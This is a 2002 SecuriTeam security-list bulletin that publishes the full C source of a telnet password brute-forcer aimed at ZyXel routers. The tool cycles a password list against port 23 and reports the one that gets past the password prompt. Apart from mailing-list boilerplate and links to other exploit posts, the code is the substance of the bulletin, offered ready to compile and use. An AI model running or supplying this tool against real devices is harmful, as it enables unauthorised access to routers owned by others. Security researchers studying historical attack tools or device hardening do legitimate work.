[TOOL] ZyXel Telnet Service Password Brute Forcer

From: support@securiteam.com
Date: 09/26/02


From: support@securiteam.com
To: list@securiteam.com
Date: Thu, 26 Sep 2002 11:53:02 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  ZyXel Telnet Service Password Brute Forcer
------------------------------------------------------------------------

DETAILS

The following is a ZyXel telnet password brute forcer.

Tool:
/*

   ZYXEL-brutuz v 1.0.0
   
   Password-brutforcer for ZyXel Routerz...
  
   C'ed by [ zWARYAG ] / BetaFly Computer Team

   to compile : cc zyxbrut.c -o zyxbrut
 
   Aug : 2k2
  
   thnkzz to DruiD / BetaFly CT.

   kengurenko@australkia.edu
 
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>

void USAGE(void);

int main(int argc, char *argv[])
{
  int port=23;
  int s;
  struct sockaddr_in addr;
  int sock;
  char pass_buf[30];
  FILE *pass_filePtr;
  char banner[2048];
  char finder[5]="asswo";

  if(argc!=3) USAGE();

         if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
        {
                perror("Socket ERROR");
                exit(1);
        }

        addr.sin_family = AF_INET;
        addr.sin_port = htons(port);
        addr.sin_addr.s_addr = inet_addr(argv[1]);

        if ((pass_filePtr=fopen(argv[2],"r"))==NULL) {
         printf("[ERROR] '%s' could not be opened!\n",argv[2]);
         exit(1);
        }

    fscanf(pass_filePtr,"%s", pass_buf);

    while(!feof(pass_filePtr)) {

         if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1) {
                perror("Socket ERROR");
                exit(1);
        }

        if ((connect(sock,(struct sockaddr *) &addr, sizeof(addr))) == 0) {

                 bzero(banner,sizeof(banner));

                 s=send(sock,pass_buf,sizeof(pass_buf),0);
                 read(sock,banner,sizeof(banner));

                 s=send(sock,"\n",sizeof("\n"),0);
                 read(sock,banner,sizeof(banner));
                 
                 if(strstr(banner,finder)) printf("%s\n",pass_buf);
                  else {
                         printf("\nOK! Password iz : %s\n",pass_buf);
                         close(sock);
                         exit(0);
                  }
        
         }

         fscanf(pass_filePtr,"%s", pass_buf);
         close(sock);
    }
         
         return 0;
}

void USAGE()
{
  printf("\n");
  printf(" ZyXel-Brutuz v.1.0 by [zWARYAG] / BetaFly Computer Team\n");
  printf(" Uze : zyxbrut <ip-addr> <passlizt>\n");
  printf("\n");
  exit(0);
}

ADDITIONAL INFORMATION

The information has been provided by BetaFly Computer Team.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [EXPL] Avirt Gateway Remote Buffer Overflow Proof of Concept
    ... // MSVCRT.DLL version 6.10.8924.0 (win2K) ... int main{ ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [TOOL] High-speed Brute-force Password Cracker for MySQL
    ... The MySQL password hash function could be strengthened considerably ... int i, len; ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [TOOL] Toby, a Linux Syscalls Loadable Kernel Module Interceptor
    ... int toby_setreuid ... int toby_setresuid(uid_t ruid, uid_t euid, uid_t suid) ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [EXPL] Apache & PHP Proof of Concept Exploit
    ... PHP supports multipart/form-data POST requests ... int main ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • WU-FTPD 2.6.2 Freezer
    ... Copyright Rosiello Security 2003 ... int main(int argc, char **argv) ... void usage(char *program) ...
    (Bugtraq)